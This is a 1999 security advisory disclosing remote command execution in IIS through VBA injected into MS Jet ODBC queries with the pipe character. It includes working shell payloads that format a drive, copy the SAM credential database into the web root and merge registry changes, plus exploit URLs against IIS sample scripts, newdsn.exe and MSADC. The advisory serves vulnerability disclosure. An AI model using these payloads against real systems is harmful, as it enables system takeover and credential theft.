-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathRFP9901.txt
335 lines (239 loc) · 13.8 KB
/
RFP9901.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
--[ Advisory: NT ODBC Remote Compromise
--[ By Matthew Astley [RCPS] http://www.fruitcake.demon.co.uk
--[ & Rain Forest Puppy [WireTrip] [email protected]
--[ Brief Summary
MS Jet database engine (which runs Access databases) allows an individual
to embed VBA in string expressions, which may allow the individual to run
commandline NT commands. This, combined with the flaw of IIS running ODBC
commands as system_local allow a remote attacker to have full control of
the system. Other webservers may be affected. Many MS Jet engines are
affected, but may not lead to elevated priviledges.
--[ Background
ODBC allows a program flexible access to one or more relational databases
using SQL. If a client fails to quote correctly the meta characters in a
piece of data used in an SQL query, an attacker may be able to interfere
with the tables in the database (see MS SQL appension 'feature' in Phrack
54, article 8).
However, the Microsoft "Jet" database engine (aka MS Access) provides some
extensions to SQL which allow the execution of VBA (Visual Basic for
Applications). This makes holes in meta character quoting code much more
interesting and dangerous.
--[ What form does the hole take?
In SQL, strings must be enclosed in single quotes. If a string includes a
single quote it must be escaped by doubling it up.
The Jet engine extends this by allowing strings to enclose a VBA
expression inside vertical bar characters in the string, like this:
select 'lil'' string | 6+7 | with number' as foo from table;
This will produce a recordset containing one field with the value "lil'
string 13 with number" for each row of the input table. Innocent enough,
if the CGI or ASP programs correctly quote the incoming data.
However, since the pipe operator is a rather obscure character and is very
poorly documented, most people don't know it's there - apparently even
Microsoft programmers.
--[ It's a feature, not a bug!
Note the following excerpt from a MS Knowledge Base article:
(http://support.microsoft.com/support/kb/articles/q147/6/87.asp)
Pipe Character or Vertical Bar
The pipe character or vertical bar is a reserved character for the Jet
database engine. It tells the Jet database engine to evaluate the
identifier before evaluating the rest of the expression. Therefore, the
Jet database engine inserts the value of the identifier in the expression,
and then evaluates it.
Vertical bars are used most often in domain aggregate functions when you
want the function to automatically recalculate the value it returns in
filters. Or vertical bars are used as an alternative to the ampersand (&)
operator when you concatenate text values. Because of this, you cannot
embed the vertical bar (|) in a literal string, you must embed the Chr()
function. Chr(124) is the vertical bar.
--[ Where does it apply?
Any textual data included in a Jet SQL query can contain quoted VBA,
whether it is in data to be inserted in a new record or part of a
condition expression. This makes the hole very general (or flexible, if
you prefer), since you don't need to know the context in which the string
will be evaluated.
--[ What commands are available?
The biggest restriction is that the code must be evaluated in an
expression context - no statements.
Anything listed as "VBA" in the "Functions Reference" page of the Access
Help file will work, although this seems to vary between versions of the
Jet engine - for example, in some cases the "eval" function works and in
others it doesn't (although when it is available, eval doesn't actually
help much because the |...| operator offers a similar if not identical
context).
The most useful command is "shell", although this in itself cannot do
redirections or pipes - cmd.exe can assist with this though. By using the
shell function and running cmd.exe, an attacker can run any command on the
system.
environ() can also be useful to get environment variables values into your
commands, and chr() can be very handy for quoting awkward characters using
alphanumerics and brackets. There are also the standard functions like
iif() and various string operations (use "&" for concatenation).
It would be very difficult to include any kind of loop in the VBA fragment
because loops do not have return values.
--[ Which characters need quoting, and how?
If the exploit string will be passing through anything that tries to
escape special characters then ' will be double up - best to use "
instead.
Ironically, the vertical bar character can only be escaped by using it to
evaluate the chr(124) function.
VBA will take pairs of double-quotes (") in a VBA string constant the same
way SQL will take pairs of single-quotes. If this doesn't seem to work you
can always use chr(34).
ASP also provides a convenient debugging aid - if the expression cannot be
correctly evaluated the error message will often include the whole SQL
query with the partially decoded exploit string in it--this could help an
attacker 'tweak' the exploit string until it works.
If the command needs to be broken up with newlines, they can be inserted
between VBA operators inside the |...| construction.
--[ How about a practical example?
An example of a pipeline:
|shell("cmd /c echo " & chr(124) & " format a:")|
will format whatever is in the floppy drive at the time. Any errors will
be silently ignored, although an iconised window will take the focus for
the duration of the command.
Using "cmd /c" allows the command piping necessary to get a newline into
the format command, otherwise the pipe and 'format' are passed as
arguments to 'echo'.
This string can be included in anything from a simple ODBC operation to a
text item in an ASP form on a web page. The function will normally
evaluate to a two or three digit number.
A more sophie's-stick-ate-it example involves grabbing a copy of the SAM:
|shell("cmd /c rdisk /S-")|
|shell("cmd /c copy c:\winnt\repair\sam._ c:\inetput\wwwroot")|
** this example includes assumptions about the location of the
** system and www publishing directory; it's only an example
Commands can be stacked:
|shell("cmd /c echo 1 > %temp%\foo.txt") & shell("cmd /c echo 2 \
>> %temp%\foo.txt") & shell("cmd /c echo 3 >> %temp%\foo.txt")|
** line broken for clarity
It is not clear that the commands will always be executed in order. Each
shell command executes asynchronously so the code above has two races for
whether the shell commands finish updating the file before the next one
starts - results will be variable.
--[ Could an attacker modify registry keys?
Ultimately the hole allows anything since you can up/download and run any
code, but modifying registry keys from VBA seems to be a little tricky.
The method using advapi32.dll won't work because it requires statements to
declare functions from the library, but there doesn't seem to be a way of
giving a statement a return value in VBA.
It would be easier to create a temporary .reg file and then merge it with
"cmd /c regedit /s %temp%\tmp.reg"; the '/s' is important, as it
suppresses the informational dialogs/windows.
--[ What permissions will an attacker have?
The dangerous part comes from a context misinterpretation with IIS. IIS
runs as system_local; it changes its token context (typically to IUSR_xxx)
for filesystem access and application execution. However, the context
does *NOT* change when interfacing with the ODBC API. Therefore all ODBC
functions (and the associated database calls) are happening under
system_local. This allows full access to the system.
--[ Theory of exploitation
This problem can be used over the web against scripts that make queries
against local MS Jet ODBC DSNs, therefore, any script or application that
uses a MS Jet ODBC DSN could potentially be exploited. The solution is to
not use MS Jet ODBC drivers for any DSN--until Microsoft releases a fix.
But since this is a documented feature, there stands a chance that some
applications may break if removed.
--[ Reality of exploitation
Ok, so let's get down to some nitty-gritty, real-life examples. We'll
give a few that just demonstrate the problem....but since any
script/application that gives user entered strings to the MS Jet ODBC DSN
are vulnerable, we're not going to laundry-list them; rather, we'll show
some of the more common cases we found.
--[ Importance of the DSN
Just some really quick background on ODBC & DSNs: an application
'connects' to the ODBC service specifying a specific DSN to query to. The
DSNs are defined in the ODBC32 applet of the control panel. Each DSN is
basically a description of the name of the DSN, the drivers to use (in our
case, the MS Jet/Access drivers), and location of the actual database (a
.mdb file somewhere in the filesystem). We could also have DSNs that used
drivers such as Oracle or MS Sql, and the location would be another
server. The whole point is that you only need to know the DSN name--ODBC
will take care of where and how the actual database is to be used.
So, great, these scripts query a DSN by name. Well, there are times were
a server can have the scripts we mention, but when ran, you get an error
saying DSN is not found. So now what? Well, if it's an IIS server, check
for the existance of /scripts/tools/newdsn.exe. Yes, IIS includes CGI
appliations *to make DSNs*. If the server doesn't have the DSN we need,
we can just make it for them. We only need newdsn.exe, but it's possible
to use a 'GUI' through getdrvrs.exe and dsnform.exe. Here's a flowchart:
http://server/scripts/tools/getdrvrs.exe
-> pick Microsoft Access Driver (*.mdb)
-> Enter in the correct DSN name
-> Enter a location for the .mdb, example: c:\web.mdb
-> Submit
This will create the DSN. If you want to be ultra-elite and do it the
hard way, you can pass all the parameters to newdsn.exe like so:
http://server/scripts/tools/newdsn.exe?driver=Microsoft%2B
Access%2BDriver%2B%28*.mdb%29&dsn=DSN_name&dbq=c:\web.mdb&
newdb=CREATE_DB&attr=
**all one line, no spaces
Where dsn is the name you want, and dbq is the file location. So for all
the examples, we'll include the DSN name, just in case you have to create
it.
--[ IIS Sample Applications
According to Russ Cooper of NTBugtraq, sample application problems are
stupid and we shouldn't waste our time talking about them. He's already
denied posts from myself, David Litchfield, and others. So, if you lived
in Russ's little world, you won't have any of the following sample apps
installed on your server, so you should just stop reading this article
right now. But for those of you who realize it's just not that simple,
perhaps you can learn something here. Also note this goes beyond sample
scripts--they're just being used as a command reference example.
Anyways, a good example script is
http://server/scripts/samples/details.idc?Fname=&Lname=
stick your shellcode in for either Fname or Lname, like so:
details.idc?Fname=hi&Lname=|shell("cmd+/c+dir")|
This uses DSN named "Web SQL" (notice the space). However, this causes
problems, because the actual table must be initialized in the DSN. Never
pheer, scripts are here! Run
http://server/scripts/samples/ctguestb.idc
after you create the DSN (if you had to) and before you run details.idc
--[ MSADC (IIS 4.0)
Starting with IIS 4.0, Microsoft bundled a way to do remote SQL queries on
a DSN simply by interfacting via HTTP to a specific .dll. Bug? Hole?
Nope, in the documentation Microsoft states that having MSADC installed
could lead to security problems.
The particular .dll is at
http://server/msadc/msadcs.dll
Now the particular problem is that there's a slightly custom way to
interface to the .dll, using multipart-forms. So it's beyond the scope of
just typing in a paramter by hand. So there's two options.
One is to see if the server also has the (optional) interface installed.
Check out for the existance of
http://server/msadc/samples/adctest.asp
** Note: you have to use Internet Explorer 4.0+ for this
This will give you a Java/Javascript interface that allows you to specify
the DSN, uid/password, and SQL string to execute. Note that you'll have
to obtain the table structure for the DSNs mentioned herein, because
you'll need to construct a valid SQL statement.
The other option is to obtain those files yourself from another server, or
download and install the MS RDS/ADO/ADC components. Look at
http://www.microsoft.com/data/ado/
for more info and where to download.
** One note is that the Java interface lets you specify which server to
use. So you can open the interface locally, off your own server, or find
it on server 1, and specify to run SQL commands against whatever DSN on
server 2.
The one caveat is that error information is not displayed. It helps to
have a sniffer going to see if what ODBC error messages are returned, if
any. If you don't get a record listing, you might want to see what the
error was.
Now, what to do?
You can obviously just execute SQL commands that contain the pipe
character. For instance:
Connection: DSN=AdvWorks
Query: Select * from Products where ProductType='|shell("")|'
** Insert your shellcode in the shell() function
--[ Sign-Off
Well, I'm sure that's enough to chew for a bit. Sorry, the examples
weren't as in-depth as usual--you'll just have to be satisfied with
theory. :)
Matthew Astley [RCPS] http://www.fruitcake.demon.co.uk
.rain.forest.puppy. [WireTrip] [email protected]
.many thanks to Matthew for working on this project together. :>
.greetings to (#!)ADM, (#)Rhino9, and Phrack
.special thanks to joewee & antilove for giving me a hard time; stran9er
.for all the fun chats and setting me straight; and everyone else I forgot
.before these greets become longer than the advisory. :) Oh, and el8.org
rox.
--[ This advisory is ISO 31337 certified. Fact of life: ADM > *